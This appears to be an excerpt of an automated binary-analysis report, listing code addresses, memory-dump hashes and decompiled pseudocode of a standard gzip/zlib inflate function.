                                        0x0040867b
                                        0x0040867e
                                        0x00408682
                                        0x00408684
                                        0x00408687
                                        0x0040868a
                                        0x0040868d
                                        0x0040868e
                                        0x0040868f
                                        0x00408692
                                        0x00408693
                                        0x00408698
                                        0x00408699
                                        0x0040869c
                                        0x00407aa2
                                        0x00407aa2
                                        0x00407aa2
                                        0x00407aa4
                                        0x00407aa6
                                        0x00407aa8
                                        0x00407aad
                                        0x00407ab1
                                        0x00407ab4
                                        0x00407ab7
                                        0x00407abb
                                        0x00407abe
                                        0x00000000
                                        0x00407abe
                                        0x00000000
                                        0x00000000
                                        0x00407ac4
                                        0x00407ac9
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00407acf
                                        0x00407ad3
                                        0x00407ae9
                                        0x00407aec
                                        0x00407b10
                                        0x00407b10
                                        0x00407b12
                                        0x00407b14
                                        0x00407b16
                                        0x00407b19
                                        0x00407b1c
                                        0x00407b1d
                                        0x00407b23
                                        0x00407b77
                                        0x00407b77
                                        0x00407b7a
                                        0x00407b25
                                        0x00407b25
                                        0x00407b25
                                        0x00000000
                                        0x00407b2c
                                        0x00407b2c
                                        0x00407b2f
                                        0x00407b35
                                        0x00000000
                                        0x00000000
                                        0x00407b3d
                                        0x00407b3d
                                        0x00407b3f
                                        0x00407b44
                                        0x00407b47
                                        0x00407b4d
                                        0x00000000
                                        0x00000000
                                        0x00407b55
                                        0x00407b55
                                        0x00407b58
                                        0x00407b5e
                                        0x00000000
                                        0x00000000
                                        0x00407b66
                                        0x00407b66
                                        0x00407b6a
                                        0x00407b71
                                        0x00000000
                                        0x00000000
                                        0x00407b25
                                        0x00000000
                                        0x00407af0
                                        0x00000000
                                        0x00000000
                                        0x00407af0
                                        0x00407af8
                                        0x00407afc
                                        0x00407afe
                                        0x00407b00
                                        0x00407b01
                                        0x00407b04
                                        0x00407b05
                                        0x00407b07
                                        0x00407b0e
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00407b0e
                                        0x00000000
                                        0x00407af0
                                        0x00407ad5
                                        0x00407ad5
                                        0x00407ad7
                                        0x00407ada
                                        0x00407adc
                                        0x00407ade
                                        0x00000000
                                        0x00407ade
                                        0x00000000
                                        0x00000000
                                        0x00407b82
                                        0x00407b84
                                        0x00407b87
                                        0x00407b89
                                        0x00407b8e
                                        0x00407bb0
                                        0x00407bb0
                                        0x00407bb2
                                        0x00407bb4
                                        0x00407bb6
                                        0x00407bbb
                                        0x00407bc0
                                        0x00407bd2
                                        0x00407bd2
                                        0x00407bd4
                                        0x00407bd7
                                        0x00407bd9
                                        0x00000000
                                        0x00407bc2
                                        0x00407bc2
                                        0x00407bc2
                                        0x00407bc6
                                        0x00000000
                                        0x00407bc6
                                        0x00407b90
                                        0x00000000
                                        0x00407b90
                                        0x00407b98
                                        0x00407b9c
                                        0x00407b9e
                                        0x00407ba0
                                        0x00407ba1
                                        0x00407ba4
                                        0x00407ba5
                                        0x00407ba7
                                        0x00407bae
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00407bae
                                        0x00000000
                                        0x00407b90
                                        0x00000000
                                        0x00000000
                                        0x00407bdf
                                        0x00407bdf
                                        0x00407be2
                                        0x00407be8
                                        0x00000000
                                        0x00407bee
                                        0x00407bee
                                        0x00407bf0
                                        0x00407bf2
                                        0x00407bf4
                                        0x00407bf4
                                        0x00407bf8
                                        0x00407bfe
                                        0x00407c00
                                        0x00407c02
                                        0x00407c02
                                        0x00407c08
                                        0x00000000
                                        0x00407c0e
                                        0x00407c0e
                                        0x00407c0e
                                        0x00407c12
                                        0x00407c19
                                        0x00407c1e
                                        0x00407c22
                                        0x00407c26
                                        0x00407c2a
                                        0x00407c2e
                                        0x00407c35
                                        0x00407c37
                                        0x00000000
                                        0x00407c37
                                        0x00407c08
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x0040805f
                                        0x00408062
                                        0x004080c5
                                        0x004080d7
                                        0x004080e2
                                        0x004080e8
                                        0x0040812e
                                        0x00408130
                                        0x004081f7
                                        0x004081fc
                                        0x004081ff
                                        0x00408201
                                        0x00408203
                                        0x0040820c
                                        0x00408211
                                        0x0040821e
                                        0x00408220
                                        0x0040822d
                                        0x0040822f
                                        0x00408241
                                        0x00408247
                                        0x0040824a
                                        0x00000000
                                        0x00408231
                                        0x00408231
                                        0x00408235
                                        0x00000000
                                        0x00408235
                                        0x00408222
                                        0x00408222
                                        0x00408222
                                        0x00000000
                                        0x00408222
                                        0x00408213
                                        0x00408213
                                        0x00408213
                                        0x00000000
                                        0x00408213
                                        0x0040813e
                                        0x0040813e
                                        0x00408140
                                        0x00408143
                                        0x0040814a
                                        0x00408155
                                        0x00408177
                                        0x0040817f
                                        0x0040818d
                                        0x004081ea
                                        0x004081ea
                                        0x004081ef
                                        0x004081f3
                                        0x004081f5
                                        0x00000000
                                        0x00408190
                                        0x00000000
                                        0x00000000
                                        0x00408190
                                        0x0040819e
                                        0x004081a0
                                        0x004081a4
                                        0x004081a5
                                        0x004081a8
                                        0x004081aa
                                        0x004081ad
                                        0x004081c1
                                        0x004081c2
                                        0x004081d8
                                        0x004081e8
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x004081e8
                                        0x00000000
                                        0x00408190
                                        0x0040818d
                                        0x004080f0
                                        0x00000000
                                        0x00000000
                                        0x004080f0
                                        0x004080fe
                                        0x00408103
                                        0x00408104
                                        0x00408107
                                        0x00408113
                                        0x00408114
                                        0x0040811b
                                        0x00408126
                                        0x0040812c
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x0040812c
                                        0x00000000
                                        0x004080f0
                                        0x0040806e
                                        0x0040806e
                                        0x0040806e
                                        0x0040807a
                                        0x00408081
                                        0x00408088
                                        0x00408089
                                        0x0040808b
                                        0x0040808e
                                        0x0040808f
                                        0x00408092
                                        0x00408095
                                        0x0040809a
                                        0x004080a4
                                        0x004080a6
                                        0x004080a9
                                        0x004080ac
                                        0x004080af
                                        0x004080b3
                                        0x004080b6
                                        0x004080ba
                                        0x004080be
                                        0x00000000
                                        0x004080be
                                        0x00000000
                                        0x00000000
                                        0x00408250
                                        0x00408250
                                        0x00408255
                                        0x00408294
                                        0x00408294
                                        0x00000000
                                        0x00408257
                                        0x00408257
                                        0x00408259
                                        0x00408280
                                        0x00408280
                                        0x0040828d
                                        0x00408290
                                        0x00408292
                                        0x00000000
                                        0x0040825b
                                        0x0040825b
                                        0x00000000
                                        0x00408260
                                        0x0040826e
                                        0x00408270
                                        0x00408271
                                        0x00408274
                                        0x00408275
                                        0x00408277
                                        0x0040827e
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x0040827e
                                        0x00000000
                                        0x00408260
                                        0x00408259
                                        0x00000000
                                        0x00000000
                                        0x0040829a
                                        0x004082ac
                                        0x004082b7
                                        0x004082bd
                                        0x004082fe
                                        0x00408300
                                        0x004083be
                                        0x004083c3
                                        0x004083c6
                                        0x004083c8
                                        0x004083ca
                                        0x004083d0
                                        0x004083e2
                                        0x004083ed
                                        0x004083f0
                                        0x004083f3
                                        0x00000000
                                        0x004083d2
                                        0x004083d2
                                        0x004083d6
                                        0x00000000
                                        0x004083d6
                                        0x00408306
                                        0x00408306
                                        0x00408308
                                        0x0040830b
                                        0x00408312
                                        0x0040831d
                                        0x0040833f
                                        0x00408347
                                        0x00408355
                                        0x004083b1
                                        0x004083b1
                                        0x004083b6
                                        0x004083ba
                                        0x004083bc
                                        0x00000000
                                        0x00408357
                                        0x00000000
                                        0x00408357
                                        0x00408365
                                        0x00408367
                                        0x0040836b
                                        0x0040836c
                                        0x0040836f
                                        0x00408371
                                        0x00408374
                                        0x00408388
                                        0x00408389
                                        0x0040839f
                                        0x004083af
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x004083af
                                        0x00000000
                                        0x00408357
                                        0x00408355
                                        0x004082c0
                                        0x00000000
                                        0x00000000
                                        0x004082c0
                                        0x004082ce
                                        0x004082d3
                                        0x004082d4
                                        0x004082d7
                                        0x004082e3
                                        0x004082e4
                                        0x004082eb
                                        0x004082f6
                                        0x004082fc
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x004082fc
                                        0x00000000
                                        0x004082c0
                                        0x00000000
                                        0x00000000
                                        0x004083f9
                                        0x004083f9
                                        0x004083fe
                                        0x00408438
                                        0x00408446
                                        0x00408458
                                        0x00408458
                                        0x00000000
                                        0x00408448
                                        0x00408448
                                        0x0040844c
                                        0x00000000
                                        0x0040844c
                                        0x00408400
                                        0x00408400
                                        0x00408402
                                        0x00408424
                                        0x00408424
                                        0x00408431
                                        0x00408434
                                        0x00408436
                                        0x00000000
                                        0x00408404
                                        0x00000000
                                        0x00408404
                                        0x00408412
                                        0x00408414
                                        0x00408415
                                        0x00408418
                                        0x00408419
                                        0x0040841b
                                        0x00408422
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00408422
                                        0x00000000
                                        0x00408404
                                        0x00408402
                                        0x00000000
                                        0x00000000
                                        0x0040845e
                                        0x00408463
                                        0x00000000
                                        0x00408469
                                        0x00408469
                                        0x0040846d
                                        0x00408471
                                        0x00408476
                                        0x004084b4
                                        0x004084ba
                                        0x004084bd
                                        0x004084c1
                                        0x00000000
                                        0x00408478
                                        0x00408478
                                        0x00408478
                                        0x0040847a
                                        0x0040847d
                                        0x00408483
                                        0x0040849a
                                        0x0040849d
                                        0x00408485
                                        0x00408485
                                        0x0040848d
                                        0x00408491
                                        0x00408491
                                        0x004084a1
                                        0x004084a5
                                        0x004084a8
                                        0x004084ae
                                        0x004084b0
                                        0x004084b0
                                        0x004084c5
                                        0x004084c5
                                        0x004084c5
                                        0x004084ae
                                        0x004084c9
                                        0x004084c9
                                        0x004084cf
                                        0x004084d1
                                        0x004084d3
                                        0x004084d3
                                        0x004084d9
                                        0x004084e3
                                        0x004084e7
                                        0x004084f0
                                        0x004084f0
                                        0x004084f6
                                        0x004084fa
                                        0x004084fc
                                        0x004084fd
                                        0x004084fd
                                        0x004084fd
                                        0x00408508
                                        0x0040850c
                                        0x00408512
                                        0x00408512
                                        0x00000000
                                        0x0040850c
                                        0x00000000
                                        0x00000000
                                        0x0040851d
                                        0x00408522
                                        0x00000000
                                        0x00408528
                                        0x00408528
                                        0x00408528
                                        0x0040852c
                                        0x0040852f
                                        0x00408531
                                        0x00408532
                                        0x00408536
                                        0x0040853a
                                        0x00000000
                                        0x0040853a
                                        0x00000000
                                        0x00000000
                                        0x00408545
                                        0x00408549
                                        0x00408606
                                        0x00408606
                                        0x00000000
                                        0x0040854f
                                        0x0040854f
                                        0x00408552
                                        0x00408574
                                        0x00408574
                                        0x00408578
                                        0x0040857c
                                        0x00408580
                                        0x00408583
                                        0x00408586
                                        0x0040858c
                                        0x0040858e
                                        0x00408592
                                        0x00408595
                                        0x0040859c
                                        0x0040859d
                                        0x0040859e
                                        0x004085a7
                                        0x004085a0
                                        0x004085a0
                                        0x004085a0
                                        0x004085ac
                                        0x004085b0
                                        0x004085b4
                                        0x004085b7
                                        0x004085ba
                                        0x004085ba
                                        0x004085c1
                                        0x004085c5
                                        0x004085c9
                                        0x004085cb
                                        0x004085cd
                                        0x004085d4
                                        0x004085d7
                                        0x004085db
                                        0x004085de
                                        0x004085e4
                                        0x004085e7
                                        0x004085eb
                                        0x004085ee
                                        0x004085ee
                                        0x004085f3
                                        0x00408602
                                        0x00408602
                                        0x00408604
                                        0x00000000
                                        0x004085f5
                                        0x004085f5
                                        0x004085f5
                                        0x004085f9
                                        0x00000000
                                        0x004085f9
                                        0x00408554
                                        0x00000000
                                        0x00408554
                                        0x0040855c
                                        0x00408560
                                        0x00408562
                                        0x00408564
                                        0x00408565
                                        0x00408568
                                        0x00408569
                                        0x0040856b
                                        0x00408572
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00408572
                                        0x00000000
                                        0x00408554
                                        0x00408552
                                        0x00000000
                                        0x00000000
                                        0x0040860c
                                        0x00408610
                                        0x004086a1
                                        0x004086a1
                                        0x00000000
                                        0x00408620
                                        0x00408620
                                        0x00408623
                                        0x00408645
                                        0x00408648
                                        0x0040869d
                                        0x0040869d
                                        0x0040869f
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00408625
                                        0x00000000
                                        0x00408625
                                        0x0040862d
                                        0x00408631
                                        0x00408633
                                        0x00408635
                                        0x00408636
                                        0x00408639
                                        0x0040863a
                                        0x0040863c
                                        0x00408643
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00408643
                                        0x00000000
                                        0x00408625
                                        0x00408623
                                        0x00000000
                                        0x00000000
                                        0x004086a7
                                        0x004086a7
                                        0x00000000
                                        0x00000000
                                        0x004086b1
                                        0x004086b1
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00407420
                                        0x00408666
                                        0x00408666
                                        0x00000000
                                        0x00408666
                                        0x00407ff6
                                        0x00407d92
                                        0x00407d92
                                        0x00407d92
                                        0x00407da2
                                        0x00407dad
                                        0x00407db3
                                        0x00407df3
                                        0x00407dfb
                                        0x00407e52
                                        0x00407e52
                                        0x00407e5b
                                        0x00407ec5
                                        0x00407ec9
                                        0x00407ecc
                                        0x00407ed0
                                        0x00407f1e
                                        0x00407f23
                                        0x00407f4b
                                        0x00407f4b
                                        0x00407f55
                                        0x00407f59
                                        0x00407f5c
                                        0x00000000
                                        0x00407f25
                                        0x00000000
                                        0x00407f25
                                        0x00407f33
                                        0x00407f35
                                        0x00407f39
                                        0x00407f3a
                                        0x00407f3d
                                        0x00407f42
                                        0x00407f43
                                        0x00407f49
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00407f49
                                        0x00000000
                                        0x00407f25
                                        0x00407ed2
                                        0x00407ed2
                                        0x00407ed7
                                        0x00407f06
                                        0x00407f06
                                        0x00407f10
                                        0x00407f14
                                        0x00407f17
                                        0x00407f61
                                        0x00407f63
                                        0x00407f65
                                        0x00407f69
                                        0x00000000
                                        0x00407ee0
                                        0x00000000
                                        0x00000000
                                        0x00407ee0
                                        0x00407eee
                                        0x00407ef0
                                        0x00407ef4
                                        0x00407ef5
                                        0x00407ef8
                                        0x00407efd
                                        0x00407efe
                                        0x00407f04
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00407f04
                                        0x00000000
                                        0x00407ee0
                                        0x00407ed7
                                        0x00407e5d
                                        0x00407e5d
                                        0x00407e5d
                                        0x00407e63
                                        0x00407e69
                                        0x00407e96
                                        0x00407e96
                                        0x00407e99
                                        0x00407e9b
                                        0x00407e9f
                                        0x00000000
                                        0x00407ea5
                                        0x00407ea5
                                        0x00407eaf
                                        0x00407eb2
                                        0x00407eb5
                                        0x00407eb9
                                        0x00407ebd
                                        0x00407f71
                                        0x00407f7e
                                        0x00000000
                                        0x00407f84
                                        0x00407f84
                                        0x00407f89
                                        0x00407f8b
                                        0x00407f8b
                                        0x00407f90
                                        0x00407f90
                                        0x00407f93
                                        0x00407f97
                                        0x00407f9c
                                        0x00407f9f
                                        0x00407f90
                                        0x00000000
                                        0x00407f89
                                        0x00407f7e
                                        0x00407e6b
                                        0x00407e6b
                                        0x00000000
                                        0x00407e70
                                        0x00407e7e
                                        0x00407e80
                                        0x00407e84
                                        0x00407e85
                                        0x00407e88
                                        0x00407e8d
                                        0x00407e8e
                                        0x00407e94
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00407e94
                                        0x00000000
                                        0x00407e70
                                        0x00407e69
                                        0x00407dfd
                                        0x00407dfd
                                        0x00407e07
                                        0x00407e36
                                        0x00407e36
                                        0x00407e3c
                                        0x00407e3e
                                        0x00407e45
                                        0x00407e4a
                                        0x00000000
                                        0x00407e10
                                        0x00000000
                                        0x00000000
                                        0x00407e10
                                        0x00407e1e
                                        0x00407e20
                                        0x00407e21
                                        0x00407e24
                                        0x00407e25
                                        0x00407e27
                                        0x00407e2e
                                        0x00407e34
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00407e34
                                        0x00000000
                                        0x00407e10
                                        0x00407e07
                                        0x00407db5
                                        0x00000000
                                        0x00407db5
                                        0x00407dc3
                                        0x00407dc8
                                        0x00407dc9
                                        0x00407dcc
                                        0x00407dd8
                                        0x00407dd9
                                        0x00407de0
                                        0x00407deb
                                        0x00407df1
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00407df1
                                        0x00000000
                                        0x00407db5
                                        0x00000000
                                        0x00407fa6
                                        0x00407fac
                                        0x00000000
                                        0x00407d92
                                        0x00407d8c
                                        0x00407cc0
                                        0x00000000
                                        0x00407cc0
                                        0x00407cc0
                                        0x00407cc3
                                        0x00000000
                                        0x00407cc5
                                        0x00000000
                                        0x00407cc5
                                        0x00407cd3
                                        0x00407cd5
                                        0x00407cd6
                                        0x00407cd9
                                        0x00407cda
                                        0x00407cdc
                                        0x00407ce3
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00407ce3
                                        0x00000000
                                        0x00407cc5
                                        0x00000000
                                        0x00407ce5
                                        0x00407cf5
                                        0x00407cfa
                                        0x00407d00
                                        0x00407d03
                                        0x00407d06
                                        0x00000000
                                        0x00407cc0
                                        0x00407cbb
                                        0x00000000
                                        0x00407c99

                                        Memory Dump Source
                                        • Source File: 00000000.00000002.488060183.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000000.00000002.488149595.0000000000426000.00000040.00020000.sdmp Download File
                                        • Associated: 00000000.00000002.488170011.0000000000432000.00000040.00020000.sdmp Download File
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 8976f0a61fc1960936828f21bd26f3318fd330ab7a4f50ce487ee3b945538f04
                                        • Instruction ID: d5e3495c9826dce769b252ea72d1bcaf7b5d46a24141b332915225fd3cdae7ad
                                        • Opcode Fuzzy Hash: 8976f0a61fc1960936828f21bd26f3318fd330ab7a4f50ce487ee3b945538f04
                                        • Instruction Fuzzy Hash: 9852A471A047129FC708CF29C99066AB7E1FF88304F044A3EE896E7B81D739E955CB95
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 02087E8F, Relevance: .8, Instructions: 783COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 6499a25ff7447b389fc8d0f35bfc94d9811db0526d6ca037196e46e3719a58a5
                                        • Instruction ID: afefbf6ad6c5a6ec0ca74f195b66954b1a7e809ed831c02985db8ec395384469
                                        • Opcode Fuzzy Hash: 6499a25ff7447b389fc8d0f35bfc94d9811db0526d6ca037196e46e3719a58a5
                                        • Instruction Fuzzy Hash: 70529071A047169FC708DF29C8906AAB7E1FF88304F44862EE8D6D7B80D738E955DB91
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 004073A0, Relevance: .6, Instructions: 633COMMONCrypto
                                        Download Yara Rule
                                        C-Code - Quality: 87%
                                        			E004073A0() {
				signed char** _t638;
				signed int _t640;
				signed int _t641;
				unsigned int _t667;
				signed char* _t680;
				signed char* _t696;
				signed int* _t714;
				signed int _t716;
				signed char* _t723;
				void* _t730;

				_t638 =  *(_t730 + 4);
				if(_t638 == 0) {
					L330:
					return 0xfffffffe;
				} else {
					_t714 = _t638[7];
					if(_t714 == 0 || _t638[3] == 0 ||  *_t638 == 0 && _t638[1] != 0) {
						goto L330;
					} else {
						if( *_t714 == 0xb) {
							 *_t714 = 0xc;
						}
						_t696 = _t638[1];
						_t667 = _t714[0xe];
						_t723 =  *_t638;
						 *(_t730 + 0x20) = _t638[3];
						_t680 = _t638[4];
						_t640 =  *_t714;
						_t716 = _t714[0xf];
						 *(_t730 + 0x18) = _t680;
						 *(_t730 + 0x10) = _t696;
						 *(_t730 + 0x38) = _t696;
						 *(_t730 + 0x28) = _t680;
						 *(_t730 + 0x30) = 0;
						if(_t640 > 0x1c) {
							L305:
							_t641 = 0xfffffffe;
							goto L306;
						} else {
							do {
								switch( *((intOrPtr*)(_t640 * 4 +  &M004087C4))) {
									case 0:
										if(_t714[2] != 0) {
											if(_t716 >= 0x10) {
												L16:
												if((_t714[2] & 0x00000002) == 0 || _t667 != 0x8b1f) {
													_t642 = _t714[8];
													_t714[4] = 0;
													if(_t642 != 0) {
														 *((intOrPtr*)(_t642 + 0x30)) = 0xffffffff;
													}
													if((_t714[2] & 0x00000001) == 0 || (((_t667 & 0x000000ff) << 8) + (_t667 >> 8)) % 0x1f != 0) {
														( *(_t730 + 0x40))[6] = 0x41d338;
														goto L303;
													} else {
														if((_t667 & 0x0000000f) == 8) {
															_t667 = _t667 >> 4;
															_t693 = (_t667 & 0x0000000f) + 8;
															_t716 = _t716 - 4;
															if(_t693 <= _t714[9]) {
																_push(0);
																_push(0);
																_push(0);
																_t714[5] = 1 << _t693;
																_t647 = E004024A0();
																_t705 =  *(_t730 + 0x1c);
																_t714[6] = _t647;
																 *( *((intOrPtr*)(_t730 + 0x4c)) + 0x30) = _t647;
																 *_t714 =  !(_t667 >> 8) & 0x00000002 | 0x00000009;
																_t730 = _t730 + 0xc;
																_t667 = 0;
																_t716 = 0;
															} else {
																_t705 =  *(_t730 + 0x10);
																goto L302;
															}
														} else {
															_t705 =  *(_t730 + 0x10);
															( *(_t730 + 0x40))[6] = 0x41d338;
															goto L303;
														}
													}
												} else {
													_t714[6] = E00403080(0, 0, 0);
													 *((char*)(_t730 + 0x2c)) = 0x1f;
													 *((char*)(_t730 + 0x2d)) = 0x8b;
													_t650 = E00403080(_t714[6], _t730 + 0x2c, 2);
													_t705 =  *(_t730 + 0x28);
													_t730 = _t730 + 0x18;
													_t667 = 0;
													_t714[6] = _t650;
													_t716 = 0;
													 *_t714 = 1;
												}
												goto L304;
											} else {
												while(_t705 != 0) {
													_t665 = ( *_t723 & 0x000000ff) << _t716;
													_t705 = _t705 - 1;
													_t716 = _t716 + 8;
													_t723 =  &(_t723[1]);
													_t667 = _t667 + _t665;
													 *(_t730 + 0x10) = _t705;
													if(_t716 < 0x10) {
														continue;
													} else {
														goto L16;
													}
													goto L331;
												}
												goto L312;
											}
										} else {
											 *_t714 = 0xc;
											goto L304;
										}
										goto L331;
									case 1:
										if(__esi >= 0x10) {
											L32:
											 *(__edi + 0x10) = __ebx;
											if(__bl != 8) {
												goto L302;
											} else {
												if((__ebx & 0x0000e000) == 0) {
													__eax =  *(__edi + 0x20);
													if(__eax != 0) {
														__ebx = __ebx >> 8;
														__ecx = __ebx >> 0x00000008 & 0x00000001;
														 *__eax = __ebx >> 0x00000008 & 0x00000001;
													}
													if(( *(__edi + 0x10) & 0x00000200) != 0) {
														 *(__esp + 0x1c) = __bl;
														__ebx = __ebx >> 8;
														__edx = __esp + 0x20;
														 *(__esp + 0x21) = __bl;
														__eax =  *(__edi + 0x18);
														__eax = E00403080( *(__edi + 0x18), __esp + 0x20, 2);
														__edx =  *(__esp + 0x1c);
														 *(__edi + 0x18) = __eax;
													}
													__ebx = 0;
													__esi = 0;
													 *__edi = 2;
													goto L42;
												} else {
													goto L34;
												}
											}
										} else {
											while(__edx != 0) {
												__eax =  *__ebp & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebp & 0x000000ff) << __cl;
												__edx = __edx - 1;
												__esi = __esi + 8;
												__ebp =  &(__ebp[1]);
												__ebx = __ebx + __eax;
												 *(__esp + 0x10) = __edx;
												if(__esi < 0x10) {
													continue;
												} else {
													goto L32;
												}
												goto L331;
											}
											goto L312;
										}
										goto L331;
									case 2:
										if(__esi >= 0x20) {
											L44:
											__eax =  *(__edi + 0x20);
											if(__eax != 0) {
												 *(__eax + 4) = __ebx;
											}
											if(( *(__edi + 0x10) & 0x00000200) != 0) {
												 *(__esp + 0x1c) = __bl;
												__ecx = __ebx;
												__edx = __ebx;
												__ecx = __ebx >> 8;
												__edx = __ebx >> 0x10;
												__ebx = __ebx >> 0x18;
												__eax = __esp + 0x20;
												 *(__esp + 0x21) = __cl;
												 *((char*)(__esp + 0x22)) = __dl;
												 *(__esp + 0x23) = __bl;
												__ecx =  *(__edi + 0x18);
												__eax = E00403080( *(__edi + 0x18), __esp + 0x20, 4);
												__edx =  *(__esp + 0x1c);
												 *(__edi + 0x18) = __eax;
											}
											__ebx = 0;
											__esi = 0;
											 *__edi = 3;
											goto L51;
										} else {
											L42:
											while(__edx != 0) {
												__eax =  *__ebp & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebp & 0x000000ff) << __cl;
												__edx = __edx - 1;
												__esi = __esi + 8;
												__ebp =  &(__ebp[1]);
												__ebx = __ebx + __eax;
												 *(__esp + 0x10) = __edx;
												if(__esi < 0x20) {
													continue;
												} else {
													goto L44;
												}
												goto L331;
											}
											goto L312;
										}
										goto L331;
									case 3:
										if(__esi >= 0x10) {
											L53:
											__eax =  *(__edi + 0x20);
											if(__eax != 0) {
												__ebx = __ebx & 0x000000ff;
												 *(__eax + 8) = __ebx & 0x000000ff;
												__ecx =  *(__edi + 0x20);
												__eax = __ebx;
												__eax = __ebx >> 8;
												 *( *(__edi + 0x20) + 0xc) = __eax;
											}
											if(( *(__edi + 0x10) & 0x00000200) != 0) {
												 *(__esp + 0x1c) = __bl;
												__ebx = __ebx >> 8;
												__edx = __esp + 0x20;
												 *(__esp + 0x21) = __bl;
												__eax =  *(__edi + 0x18);
												__eax = E00403080( *(__edi + 0x18), __esp + 0x20, 2);
												__edx =  *(__esp + 0x1c);
												 *(__edi + 0x18) = __eax;
											}
											__ebx = 0;
											__esi = 0;
											 *__edi = 4;
											goto L58;
										} else {
											L51:
											while(__edx != 0) {
												__eax =  *__ebp & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebp & 0x000000ff) << __cl;
												__edx = __edx - 1;
												__esi = __esi + 8;
												__ebp =  &(__ebp[1]);
												__ebx = __ebx + __eax;
												 *(__esp + 0x10) = __edx;
												if(__esi < 0x10) {
													continue;
												} else {
													goto L53;
												}
												goto L331;
											}
											goto L312;
										}
										goto L331;
									case 4:
										L58:
										if(( *(__edi + 0x10) & 0x00000400) == 0) {
											__eax =  *(__edi + 0x20);
											if(__eax != 0) {
												 *(__eax + 0x10) = 0;
											}
											goto L69;
										} else {
											if(__esi >= 0x10) {
												L62:
												__eax =  *(__edi + 0x20);
												 *(__edi + 0x40) = __ebx;
												if(__eax != 0) {
													 *(__eax + 0x14) = __ebx;
												}
												if(( *(__edi + 0x10) & 0x00000200) != 0) {
													 *(__esp + 0x1c) = __bl;
													__ebx = __ebx >> 8;
													__ecx = __esp + 0x20;
													 *(__esp + 0x21) = __bl;
													__edx =  *(__edi + 0x18);
													__eax = E00403080( *(__edi + 0x18), __esp + 0x20, 2);
													__edx =  *(__esp + 0x1c);
													 *(__edi + 0x18) = __eax;
												}
												__ebx = 0;
												__esi = 0;
												L69:
												 *__edi = 5;
												goto L70;
											} else {
												while(__edx != 0) {
													__eax =  *__ebp & 0x000000ff;
													__ecx = __esi;
													__eax = ( *__ebp & 0x000000ff) << __cl;
													__edx = __edx - 1;
													__esi = __esi + 8;
													__ebp =  &(__ebp[1]);
													__ebx = __ebx + __eax;
													 *(__esp + 0x10) = __edx;
													if(__esi < 0x10) {
														continue;
													} else {
														goto L62;
													}
													goto L331;
												}
												goto L312;
											}
										}
										goto L331;
									case 5:
										L70:
										if(( *(__edi + 0x10) & 0x00000400) == 0) {
											L83:
											 *(__edi + 0x40) = 0;
											 *__edi = 6;
											goto L84;
										} else {
											__eax =  *(__edi + 0x40);
											 *(__esp + 0x14) = __eax;
											if(__eax > __edx) {
												__eax = __edx;
												 *(__esp + 0x14) = __edx;
											}
											if(__eax != 0) {
												__ecx =  *(__edi + 0x20);
												if(__ecx != 0) {
													__ecx =  *(__ecx + 0x10);
													 *(__esp + 0x34) = __ecx;
													if(__ecx != 0) {
														 *(__edi + 0x20) =  *( *(__edi + 0x20) + 0x14);
														__ecx =  *( *(__edi + 0x20) + 0x14) -  *(__edi + 0x40);
														__edx =  *(__edi + 0x20);
														__edx =  *( *(__edi + 0x20) + 0x18);
														 *(__esp + 0x20) = __ecx;
														if(__ecx > __edx) {
															__eax = __edx;
														}
														__edx =  *(__esp + 0x34);
														__eax =  *(__esp + 0x24);
														__edx =  *(__esp + 0x34) +  *(__esp + 0x24);
														__eax = E0040B350(__ebx, __edi, __esi,  *(__esp + 0x34) +  *(__esp + 0x24), __ebp,  *(__esp + 0x24));
														__eax =  *(__esp + 0x20);
														__edx =  *(__esp + 0x1c);
													}
												}
												if(( *(__edi + 0x10) & 0x00000200) != 0) {
													__ecx =  *(__esp + 0x14);
													__edx =  *(__edi + 0x18);
													__eax = E00403080( *(__edi + 0x18), __ebp,  *(__esp + 0x14));
													__edx =  *(__esp + 0x1c);
													 *(__edi + 0x18) = __eax;
													__eax =  *(__esp + 0x20);
												}
												__edx = __edx - __eax;
												__ebp =  &(__ebp[__eax]);
